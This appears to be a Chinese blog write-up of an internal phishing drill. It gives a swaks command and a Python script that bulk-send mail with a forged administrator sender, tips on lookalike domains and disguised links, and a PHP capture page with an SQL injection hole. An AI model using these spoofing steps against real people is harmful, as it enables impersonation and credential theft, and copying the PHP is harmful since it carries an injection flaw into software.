为了配合部门月度信息安全主题宣讲,被领导要求搞一次真实的邮件钓鱼演练,对象是公司全员。演练前,为了钓鱼效果,需要伪造真实的内部邮箱发件人,测试了一下公司Exchange服务器,发现邮箱服务器默认并没有开启spf等反钓鱼策略,这大大提高了钓鱼成功率。公司的域账号到期需要修改密码,我就以修改密码网页为钩子,发件人就是真实的administrator@xxx.com,可能每个公司的情况不一样,大家自由选择钓鱼系统即可。

钓鱼

既然是钓鱼,那钓鱼页面需要尽可能和原系统一致,如果需要网站克隆,推荐使用setookit,里面有个site cloner功能,网上有相关教程,我就不详细描述了。我们这次的演练并没有完全克隆,原因是我们的域系统需要先登录,然后再进行修改密码,如果有cookie记录就直接跳转到修改密码的页面了,为了方便起见,我们直接重新做了一个页面(只是在修改密码页面增加了一个域账号框,方便记录),同时后端不记录"password"字段到数据库,前端效果图如下:

因为我有php环境,方便起见就直接用php+mysql了。因为就记录一个字段,代码也比较简单,如下:

<?php
$con = mysql_connect("localhost","root","XXXX");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  } 
mysql_select_db("test", $con);
$sql="INSERT INTO user(username)
VALUES
('$_POST[inputuser]')";

if (!mysql_query($sql,$con))
  {
  die('Error: ' . mysql_error());
  }
echo "<script> {window.alert('密码修改成功');window.open('http://xxx.com', '_top')} </script>";
mysql_close($con)
?>

有django等其他环境的同学,直接用其他框架即可,反正后端就记录个域账号也比较简单。钓鱼页面做好了,接下来就是注册域名和大批量发送钓鱼邮件了。毕竟是演练,我们提前是知道修改域密码的网站域名,申请域名尽量和真实域名类似,比如域名内含o我们就用0代替,含11我们就可以使用ll代替等等。也可以使用域名短链接(网上提供域名短链接的服务商也较多,搜索一下即可),真实钓鱼,但是效果肯定没有伪造的域名好。至于钓鱼邮件发送,这里推荐大家使用awaks工具,安装后,使用格式示例:

swaks  --tls --to xxx@qq.com --from administrator@xxx.com --ehlo qq.com --body hello --header "Subject: hello"
–from <要显示的发件人邮箱>
–ehlo <伪造的邮件ehlo头>
–body <邮件正文>
–header <邮件头信息,subject为邮件标题>

为了安全起见,我们发送邮件需要使用tls,这样发送的内容都是加密的了,但是该工具批量发送带有自定义内容的邮件不方便,于是写了一个py脚本,使用--data参数,方便批量发送,我们的策略是每天随机发送150至200个人,具体看公司规模而定。每个邮箱客户端使用的邮件头还不一样,我们测试了用qq邮箱头发给outlook没有问题,由于我们公司默认都是outlook,foxmail没有测,应该问题也不大,有问题增删相关邮件头字段即可。下面是批量发送脚本内容(命名为mail.py):

import time
import sys
import subprocess
#发送的完整邮件内容有2部分组成,一部分是收件人,是可变的,一部分是邮件内容,是不变的,内容使用file_c变量,收件人使用file_f变量,具体看脚本内容

file_c = '''Subject: =?gb2312?B?xxxxxxxdLss6M=?=  
#主题等都是gb2312编码后的base64加密
#Thread-Topic: =?gb2312?B?0/Lxxxxxxxxxss6M=?=
Thread-Index: AdT6eO/KxxxxxxxxxxxxxxxxIKA==
Date: {time.ctime()} +0800
#发送邮件是提前发送的模板邮件,所以需要获取当前时间作为发送时间,不然接收的时间会不对
Accept-Language: zh-CN, en-US
Content-Language: zh-CN
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-originating-ip: [x.x.x.x]
Content-Type:xxxxxxxxx;
Return-Path: administrator@xxx.com
xxx内容xxx '''

file = open(f'/usr/local/src/{sys.argv[1]}', 'r')
names = file.readlines()
for name in names:
    file_f = f'To: "{name.strip()}" <{name.strip()}>\n'
    #print(file_f)
    with open('/usr/local/src/file.txt', 'w') as f:
        f.writelines(file_f + file_c)
    status = subprocess.Popen(['swaks', '--tls', '--data', '/usr/local/src/file.txt', '--to', name.strip(), '--from', 'administrator@xxx.com'], stdout=subprocess.PIPE)
    lg = status.stdout.readlines()
    print(type(lg))
    with open('/usr/local/src/log.txt', 'a+') as g:
        for line in lg:
            g.write(line.decode())
`

发送对象名单保存在sec.txt中,运行 python mail.py sec.txt 即可。
收到的钓鱼邮件如下:

为了钓鱼效果,邮件链接可使用真实链接,然后做个超链接到"钓鱼系统",这样更能神不知鬼不觉
三天后,拉一下数据库,上钩的人有100多,不乏一级部门领导负责人,演练没有事前报备,演练结束后大部门内部通报,领导觉得效果不错!

Tips

一看:看发件人地址,看正文是否异常
二查:查邮件中的链接是否异常
三核实:向发件地址的官方联系人核实,通过上面例子可知发件人地址也是可以伪造的
工作中如果收到可疑的邮件或其他安全事件及时联系安全部门或相关责任部门,不要随意点击相关链接、下载邮件附件等。

点击收藏 | 4 关注 | 4
  • 动动手指,沙发就是你的了!
登录 后跟帖